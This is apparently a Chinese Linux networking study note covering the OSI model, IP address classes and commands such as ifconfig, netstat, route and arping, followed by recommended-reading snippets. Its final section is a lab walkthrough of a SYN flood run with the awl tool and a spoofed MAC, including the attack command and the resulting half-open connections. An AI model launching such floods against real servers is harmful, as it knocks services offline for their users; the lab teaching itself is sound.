第十八章 OSI 七层模型和/TCP/IP 四层模型






TCP   协议和UDP  协议的区别

1   TCP  协议  TCP  是面向连接的协议,在收发数据前,必须和对方建立可靠的连接

2  UDP  是用户数据报协议,是一种无连接的传输协议,提供面向事务的简单不可靠信息传送服务


如何不知道哪个端口的服务

就打开services  服务

[root@localhost ~]# vim /etc/services




E

E类地址:范围从240~254,为将来使用保留

ABC3类私有地址

A :10.0.0.0/8  

B : 172.16.0.0 ~ 172.31.0.0/16

C  : 192.168.0.0   ~ 192.168.255.0.0/24  

互动:ping   127.0.0.1  可以ping  通,  在任意的127  都能ping  通

[root@localhost ~]# ping 127.23.23.23

PING 127.23.23.23 (127.23.23.23) 56(84) bytes of data.

64 bytes from 127.23.23.23: icmp_seq=1 ttl=64 time=0.020 ms

64 bytes from 127.23.23.23: icmp_seq=2 ttl=64 time=0.021 ms

64 bytes from 127.23.23.23: icmp_seq=3 ttl=64 time=0.033 ms

64 bytes from 127.23.23.23: icmp_seq=4 ttl=64 time=0.043 ms

64 bytes from 127.23.23.23: icmp_seq=5 ttl=64 time=0.024 ms

18.2   linux  网络相关的命令

18.2.1  查看网卡物理连接是否正常

[root@localhost ~]# mii-tool ens33

ens33: negotiated 1000baseT-FD flow-control, link ok

查看IP相关信息

ifconfig   命令被用于配置和显示linux内核中网络接口的网络参数

ifconfig      查看IP 

常见的一些网络接口

eth0  -eth4   以太网  centos6 

waln   无线接口

eno177776   以太网接口  centos7

bond0   team0   网卡绑定接口

vibro    虚拟机交换桥接接口

bro  虚拟网桥接口

lo   本地回环接口

vnet0   KVM   网卡接口

18.2.2   修改网卡IP地址

方法1: 手工修改网卡配置文件

vim     /etc/sysconfig/network-scripts/ifcfg-ens33

TYPE="Ethernet"

PROXY_METHOD="none"

BROWSER_ONLY="no"

BOOTPROTO="dhcp"

DEFROUTE="yes"

IPV4_FAILURE_FATAL="no"

IPV6INIT="yes"

IPV6_AUTOCONF="yes"

IPV6_DEFROUTE="yes"

IPV6_FAILURE_FATAL="no"

IPV6_ADDR_GEN_MODE="stable-privacy"

NAME="ens33"

UUID="2f42f867-c515-4d49-87a2-980c4ecb8507"

DEVICE="ens33"

ONBOOT="yes"


2   给虚拟机添加一个网卡

ifconfig   -a   查看所有网络设备,包括没有启动的网卡设备


默认新增加的网卡没有配置文件,手动添加一个

1)st ~]# cd /etc/sysconfig/network-scripts/

   2)  cp   ifcfg-ens33 ifcfg-ens38   


  3)   vim    ifcfg-ens38   

修改一下参数



方法2   

 1 )[root@localhost ~]# nmtui-edit        字符界面配IP啊,了解一下

2)

3)


! ser   

调用历史命令的ser  

指定关闭网卡 

  [root@localhost ~]#  ifconfig      ens33 down    

指定开启网卡    

[root@localhost ~]# ifconfig ens33 up

临时配置ip   

[root@localhost ~]# ifconfig ens37 192.168.1.24

一个网卡  配置两个IP  

[root@localhost ~]# ifconfig ens37:1 192.168.1.56      

然后  ifconfig  ens37   发现有两个IP地址

当然也可以弄子网掩码

[root@localhost ~]# ifconfig ens37:1 192.168.1.56   netmask   255.255.240.0  

18.2.3   查看端口的监听状态

netstat  命令  :  查看系统中网络连接信息

常用的参数格式   :  netstat  -anutp  

-a   --all   显示本机所有连接和监听的端口

-n   --numeric       以数字形式显示当前建立的有效连接和端口

-u   显示udp  协议连接

-t   显示tcp协议连接

-p      显示连接对应的PID  与程序名


Proto   连接协议的种类

Recv-Q   接受到的字节数

Send -Q ===== 从本服务器,发出去的字节数

Local  Address  ======   本地的IP地址,可以是IP ,也可以是主机名

foreign  Address =======远程主机的IP地址



  例子:linux下默认MSL  等地时间是60秒

[root@localhost ~]# cat /proc/sys/net/ipv4/tcp_fin_timeout

60    60秒断开  

  [root@localhost ~]# echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout     30  秒就断开

通过缩短time_wait   时间来快速解决释放连接

改主机名  


[root@localhost ~]# vim /etc/hostname

配置IP 与主机名 对应的关系

[root@localhost ~]# vim /etc/hosts   优先级高于DNS解析

127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4

::1        localhost localhost.localdomain localhost6 localhost6.localdomain6

18.2.4 配置DNS-路由相关信息

[root@localhost ~]# vim /etc/resolv.conf

是先解析hosts  还是DNS  ?

[root@localhost ~]# vim /etc/nsswitch.conf

   hosts  files  dns   myhostname   可以看到先查看  files hosts 文件,再查看DNS  的


查看路由协议信息

[root@localhost ~]# route -n

参数  -n   : 不要使用通讯协议或主机名,直接使用IP或port number  

route  命令输出的路由表字段含义如下

Destination   目标    

Gateway   网关   网关地址,如果是本地网段IP ,就显示0.0.0.0 

Getmask  子网掩码

输出和添加路由条目

[root@localhost ~]# route add -net 192.168.2.0 netmask 255.255.255.0 dev ens37

 实战场景:多个网卡,多个网段,实现不同数据走不同网卡,若干网络管理和生产数据分开管理


就可以看到多处一个网段

删除路由

[root@localhost ~]# route del -net 192.168.2.0 netmask 255.255.255.0 dev ens37

路由跟踪     查看经过多少个路由器到目标网址

[centos@xueshen65 ~]$ traceroute www.baidu.com

traceroute to www.baidu.com (14.215.177.39), 30 hops max, 60 byte packets

1  gateway (192.168.0.1)  3.829 ms  3.704 ms  3.613 ms

2  192.168.1.1 (192.168.1.1)  3.542 ms  3.950 ms  3.888 ms

3  100.64.0.1 (100.64.0.1)  9.239 ms  9.288 ms  9.246 ms

ping命令的一般格式为

-c 数目     在发送指定数目的包后停止

-i   秒数,设定间隔几秒松一个网络封包给一台机器,预设值一秒一次

[root@xueshen65 ~]# ping -i 0.1 192.168.1.1

PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.

64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=6.62 ms

64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=1.90 ms

64 bytes from 192.168.1.1: icmp_seq=3 ttl=63 time=1.93 ms

64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=3.53 ms

使用从哪个端口除去,使用参数大写的I   

[root@localhost yum.repos.d]# arping 192.168.1.1

arping: Suitable device could not be determined. Please, use option -I.

Usage: arping [-fqbDUAV] [-c count] [-w timeout] [-I device] [-s source] destination

  -f : quit on first reply

  -q : be quiet

  -b : keep broadcasting, don't go unicast

  -D : duplicate address detection mode

  -U : Unsolicited ARP mode, update your neighbours

  -A : ARP answer mode, update your neighbours

  -V : print version and exit

  -c count : how many packets to send

  -w timeout : how long to wait for a reply

  -I device : which ethernet device to use

  -s source : source ip address

  destination : ask for what ip address

如果发生IP冲突是否有冲突

[root@xueshen65 ~]# arping -I ens33 192.168.1.1

[root@xueshen65 ~]# arping -I ens33 192.168.0.1

ARPING 192.168.0.1 from 192.168.0.151 ens33

Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]  3.050ms

Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]  5.318ms

Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]  3.017ms

Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]  4.707ms

Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11]  4.541ms

注意  :如果一个IP,得到两个MAC,  就有冒充网关

watch 

作用:  实施检测命令的运行结果,可以看到所有变换数据包的大小

-d     显示指令输出信息不同之处

-n   指定指令执行的间隔时间

例子1  :每隔1秒高亮差异显示ens33  相关信息

[root@xueshen65 ~]# watch -d -n 1 'ifconfig ens33'  

ping   网关

[root@xueshen65 ~]# ping -i 0.1 192.168.1.1

PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.

64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=4.11 ms

64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=1.72 ms

64 bytes from 192.168.1.1: icmp_seq=3 ttl=63 time=1.71 ms

64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=3.27 ms

18.3   实战-在局域网中使用awl   伪装MAC  地址进行多线程SYN  洪水攻击

这个案例是打开眼界的

18.3.1   TCP  三次握手以及tcp连接状态

http://ssa.yundun.com/cc     云盾全球实时功放图   


需要了解的信息

ACK   TCP  协议规定,只有ACK=1  时有效,也规定连接建立后发送的报文的ACK必须为1  

SYN                   在连接建立时用来同步序号,当SYN=1,而ACK=0   时,表明这是一个连接请求报文,对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1,因此,SYN直1就表明这是一个连接请求或连接受报文

synchronization     同步

FIN     即可,终结的意思,用来释放一个连接,当FIN=1时,表明此报文段的发送方的数据已经发送完毕,并且要求释放连接

实战1: 使用tcpdump  抓包查看tcp 三次握手

tcp    三次握手过程




   
tcpdump   常用参数

-c 指定包的个数

-n   IP   端口用数字方式显示

port   指定端口

互动: 如何产生tcp  的连接

   在一台上登录  抓起ssh   远程登录灵台一台时产生的tcp三次握手包

  首先打开虚拟机,一台登陆另外一台的


两台虚拟机、

在另外一台写入

[root@xueshen65 ~]# tcpdump -n -c 3 port 22 -i ens33


同时用ssh  端口登录ssh   另外的IP地址

ssh @ root 192.168.0.151  

发现抓包已经看到




18.3.2   实战:在局域网中的使用awl  位置IP 地址进行多线程SYN  洪水攻击

  SYN  洪水攻击概述:  SYN洪水攻击主要源于:tcp协议的三次握手机制

 

SYN 洪水攻击的过程

在服务端返回一个确认的SYN-ACK包的时候,有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端的回应的ACK

这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等到关闭,才能是否释放

如果恶意者通过IP欺骗,发送大量的SYN包给受害者系统,导致服务端存在大量未决的连接和内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程

演示一下过程

下载awl  包的地址

1 https://gitlab.com/davical-project/awl/-/tags

2)

下载好以后,上传安装一下

进入到awl   目录下安装

3 )[root@xueshen65 ~]# cd awl-0.2/

4 )[root@xueshen65 awl-0.2]# ./configure && make -j 4 && make install

5)   查看安装命令

[root@xueshen65 ~]# which awl

/usr/local/bin/awl

在另外一台登录下载Apache  

 6) [root@localhost ~]# yum -y install httpd

燃火在一台ping  一下有Apache  的服务器

7)  [root@xueshen65 ~]# ping 192.168.0.105

PING 192.168.0.105 (192.168.0.105) 56(84) bytes of data.

64 bytes from 192.168.0.105: icmp_seq=1 ttl=64 time=0.535 ms

64 bytes from 192.168.0.105: icmp_seq=2 ttl=64 time=2.44 ms

64 bytes from 192.168.0.105: icmp_seq=3 ttl=64 time=0.600 ms

64 bytes from 192.168.0.105: icmp_seq=4 ttl=64 time=0.586 ms

8)  

看到105  的  MAC  地址是   上图

开始攻击 

awl  参数如下  : 

-i    发送包的接口,如果省略默认是eth0  

-m  指定目标MAC 地址,  注意:  如果-m  没有指定mac  默认MAC  地址是

FF.FF.FF.FF.FF.FF   FF.FF.FF.FF.FF.FF   mac地址是什么?

表示想同一个网段内的所有主机发出ARP  广播,进行SYN  攻击,还容易使整个局域网瘫痪

-d   被攻击的IP

-p  被攻击机器的端口

用之前用清空防火墙

 9 )[root@xueshen65 ~]# iptables -F


放大招

 10)  [root@xueshen65 ~]# awl -i ens33 -m 00:0c:29:e1:dc:cc -d 192.168.0.105 -p 80

^Cpool_renew success

pthread join 0 is success !

pthread join 1 is success !

pthread join 2 is success !

pthread join 3 is success !

pthread join 4 is success !

pthread join 5 is success !

pthread join 6 is success !

pthread join 7 is success

被攻击的IP 清空防火墙

11)  [root@localhost ~]# iptables -F

  就会看到IP 的访问   

 12) [root@localhost ~]# netstat -antup | grep 80

tcp        0      0 192.168.0.105:80        47.72.60.77:14790      SYN_RECV    -                 

tcp        0      0 192.168.0.105:80        190.213.44.48:8913      SYN_RECV    -                 

tcp        0      0 192.168.0.105:80        153.26.129.48:36511    SYN_RECV    -                 

tcp        0      0 192.168.0.105:80        62.53.115.71:19264      SYN_RECV    - 


然后在ip138.com  网站查看   这些地址的来源


总结: 18.1  OSI   七层模型和TCP/IP 四层模型

18.2  linux  网络相关的调式命令

18.3  实战: 在局域网中使用awl  伪装MAC  地址进行多线程SYN  洪水攻击

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,711评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,932评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,770评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,799评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,697评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,069评论 1 276
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,535评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,200评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,353评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,290评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,331评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,020评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,610评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,694评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,927评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,330评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,904评论 2 341

推荐阅读更多精彩内容